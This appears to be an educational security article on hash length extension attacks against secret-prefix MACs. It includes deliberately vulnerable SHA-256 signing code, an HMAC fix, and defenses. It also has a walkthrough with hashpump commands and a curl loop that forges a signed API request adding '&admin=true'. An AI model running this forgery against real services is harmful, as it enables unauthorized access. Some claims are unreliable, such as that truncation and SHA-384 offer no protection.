Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
A hash length extension attack lets an attacker take a valid H(secret || message) value and, without ever knowing secret, compute a valid H(secret || message || padding || extra) for arbitrary attacker-chosen extra data. It works against any hash function built on the Merkle-Damgard construction — MD5, SHA-1, and the SHA-2 family (SHA-256, SHA-512) — whenever that hash is used as a naive keyed MAC in the form MAC = H(secret || message). The attack does not recover the secret and does not break the hash’s collision resistance; it exploits the fact that the hash’s final internal state *is* a valid starting state for hashing more data, so ‘I know a valid tag’ and ‘I know the key’ turn out not to be the same thing.
This matters because H(secret || message) looks like a MAC to a developer who has not studied the internals of Merkle-Damgard hashing — it is short, uses a trusted hash function, and ‘obviously’ requires the secret to compute. In reality it is one of the most consistently rediscovered crypto mistakes in web APIs, and it has been used in the wild to forge signed AWS S3 request parameters, Flickr API signatures, and various homegrown webhook/API authentication schemes.
Attack Prerequisites
A length extension attack against a MAC scheme requires:
- A MAC constructed as
H(secret || message)using MD5, SHA-1, SHA-224, SHA-256, SHA-384, or SHA-512 — any Merkle-Damgard hash used *without* HMAC’s double-hash wrapping. - At least one valid
(message, MAC)pair to extend — captured from network traffic, a URL parameter, or a signed cookie. - Knowledge (or a guessable range) of
secret‘s length — needed to compute the correct Merkle-Damgard padding that was appended to the original message before hashing; this can usually be brute-forced over a small range of byte lengths. - A verifier that accepts the extended message — the target application must recompute the same
H(secret || message)MAC over whatever message it receives and compare it to the attacker-forged tag.
How It Works
Merkle-Damgard hash functions process input in fixed-size blocks, maintaining an internal state that is updated block by block, and finally output that internal state (possibly truncated) as the digest. Critically, the internal state *after processing the last block* is exactly the same kind of value as the initial state the algorithm starts with — there is no special ‘finalization’ step that mixes in the total length in a way that prevents resumption. Before hashing, the message is padded to a multiple of the block size using a deterministic scheme (typically a 1 bit, zero bits, then the message’s bit-length encoded at the end).
Given MAC = H(secret || message), an attacker who knows MAC can treat it directly as the internal state of the hash function *after* processing secret || message || padding. They can then resume hashing from that state over any extra bytes they choose, producing H(secret || message || padding || extra) — a value that will verify correctly against the original secret, because it genuinely is the hash of secret || message || padding || extra computed the normal way, just without ever needing to know secret itself. The only unknown the attacker needs is secret‘s *length*, purely to reconstruct the exact padding bytes that were inserted between the original message and the extension — this is small enough to brute-force in practice (a handful of candidate lengths, e.g. 0-64 bytes).
HMAC exists specifically to close this gap: HMAC(K, m) = H((K' XOR opad) || H((K' XOR ipad) || m)) wraps the message hash inside a second hash over a key-derived value, so the attacker never gets to see or resume from the *outer* hash’s true internal state — there is no single H(secret || message) computation to extend. Structurally different constructions such as SHA-3/Keccak (sponge construction) and BLAKE2/BLAKE3 are also immune to classic length extension by design, even used naively as H(secret || message), though HMAC or a dedicated keyed mode is still the recommended pattern.
Vulnerable Code / Configuration
The canonical vulnerable pattern — signing an API request by concatenating a shared secret directly with the message and hashing with SHA-256:
import hashlib
def sign_request(secret: bytes, message: bytes) -> str:
# VULNERABLE: naive secret-prefix MAC, not HMAC
return hashlib.sha256(secret + message).hexdigest()
def verify_request(secret: bytes, message: bytes, tag: str) -> bool:
expected = sign_request(secret, message)
return expected == tag # also non-constant-time, a second bug
PythonThe same mistake in a webhook/URL-signing scheme, where the message being signed is a query string an attacker can partially observe and where the server later re-parses the extended string as new key=value pairs — this is exactly the shape that let attackers append &admin=true after a valid signature in several real-world API signing bugs:
# Server builds the string-to-sign and MAC like this:
string_to_sign = f"user={user}&action={action}&expires={expires}"
signature = sha256(SECRET + string_to_sign.encode()).hexdigest()
url = f"/api/do?{string_to_sign}&sig={signature}"
# The forged request appends new parameters AFTER valid Merkle-Damgard
# padding, and the extended signature still verifies:
# /api/do?user=alice&action=view&expires=999&\x80\x00...\x00<bitlen>&admin=true&sig=<forged>
TEXTThe fix at the code level is to switch to HMAC (or a KMAC/keyed-BLAKE2 construction) rather than trying to patch the secret-prefix pattern:
import hmac, hashlib
def sign_request(secret: bytes, message: bytes) -> str:
return hmac.new(secret, message, hashlib.sha256).hexdigest()
def verify_request(secret: bytes, message: bytes, tag: str) -> bool:
expected = hmac.new(secret, message, hashlib.sha256).hexdigest()
return hmac.compare_digest(expected, tag) # constant-time comparison
PythonWalkthrough / Exploitation
The standard tool for exploiting this class of bug is hashpump (also packaged as hash_extender), which computes the correct Merkle-Damgard padding and the extended digest without needing the secret. Given a captured (message, signature) pair and a guessed secret length:
# hashpump -s <original signature> -d <original data> \
# -a <data to append> -k <guessed secret length>
hashpump \
-s 6cf615cb...a1f3 \
-d 'user=alice&action=view&expires=999' \
-a '&admin=true' \
-k 16
# Output: a new signature AND the exact bytes to send as the message,
# including the injected Merkle-Damgard padding.
Bashhashpump prints both the forged signature and the new raw message bytes (original message + padding + appended data). Because the target’s secret length is unknown, an attacker scripts the tool over a small range of candidate lengths and submits each forged request, watching for the one that the server accepts:
for k in $(seq 0 64); do
out=$(hashpump -s 6cf615cb...a1f3 \
-d 'user=alice&action=view&expires=999' \
-a '&admin=true' -k "$k")
sig=$(echo "$out" | head -1)
data=$(echo "$out" | tail -1)
curl -s "https://target.example/api/do?${data}&sig=${sig}" \
-o /dev/null -w "k=$k -> %{http_code}\n"
done
BashA 200 response instead of a 401/403 at some candidate key length confirms a successful forgery — the server has just processed &admin=true as though it were part of the originally signed, trusted request.
Note: Truncating the digest does not fix length extension — the attacker recomputes state candidates consistent with the truncated output and the attack still generally succeeds, just with more work. HMAC is the only real fix.
Opsec: Capture a signed request over the wire (proxy/Burp) rather than guessing the string-to-sign format — the exact byte layout and field order must match the server’s own concatenation logic for the forged padding to land correctly.
Detection and Defense
This is a design-level bug, so detection is mostly about code review rather than runtime signatures:
- Grep for
hash(secret + message)/H(key || data)patterns —sha256(SECRET + body),md5(key + data), string-concatenation MACs — in any code that signs or authenticates requests, tokens, or webhooks. - Replace with HMAC using a standard library implementation (
hmac.new,crypto.createHmac,javax.crypto.Mac) rather than manual concatenation, and compare tags with a constant-time function. - Prefer AEAD or signed-JWT/JWS libraries for structured tokens instead of hand-rolled signing schemes, so the padding/framing details are handled by code that has already been audited for this class of bug.
- For webhook/API providers, document and enforce HMAC-SHA256 (or better) as the only supported signing scheme, and reject any legacy secret-prefix signature format during code review or dependency audits.
- Runtime detection is weak for this class — the forged request is cryptographically valid to the vulnerable verifier — so prevention (HMAC) is the only reliable control; anomaly detection on unexpected parameters in otherwise-valid signed requests is a partial mitigation at best.
Real-World Impact
Length extension attacks against naive H(secret || message) schemes have been demonstrated against real API signing implementations, most famously an early Flickr API signature scheme and various homegrown request-signing systems that used MD5 or SHA-1 prefix-MACs instead of HMAC before AWS standardized on HMAC-SHA256 for Signature Version 4. The bug class is a staple CTF category and a recurring finding in penetration tests of internal microservice and webhook verification code, precisely because ‘just hash it with the secret’ is the intuitive, wrong way to build a MAC.
Conclusion
Length extension is a structural property of Merkle-Damgard hashing, not an implementation bug in MD5, SHA-1, or SHA-2 themselves — those hashes work exactly as designed. The mistake is entirely on the application side: using H(secret || message) as a MAC assumes a property (that only the secret’s holder can extend a valid hash) the construction never actually provides. HMAC exists precisely to give that property correctly, is available in every major standard library, and should be the only accepted pattern for keyed message authentication.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments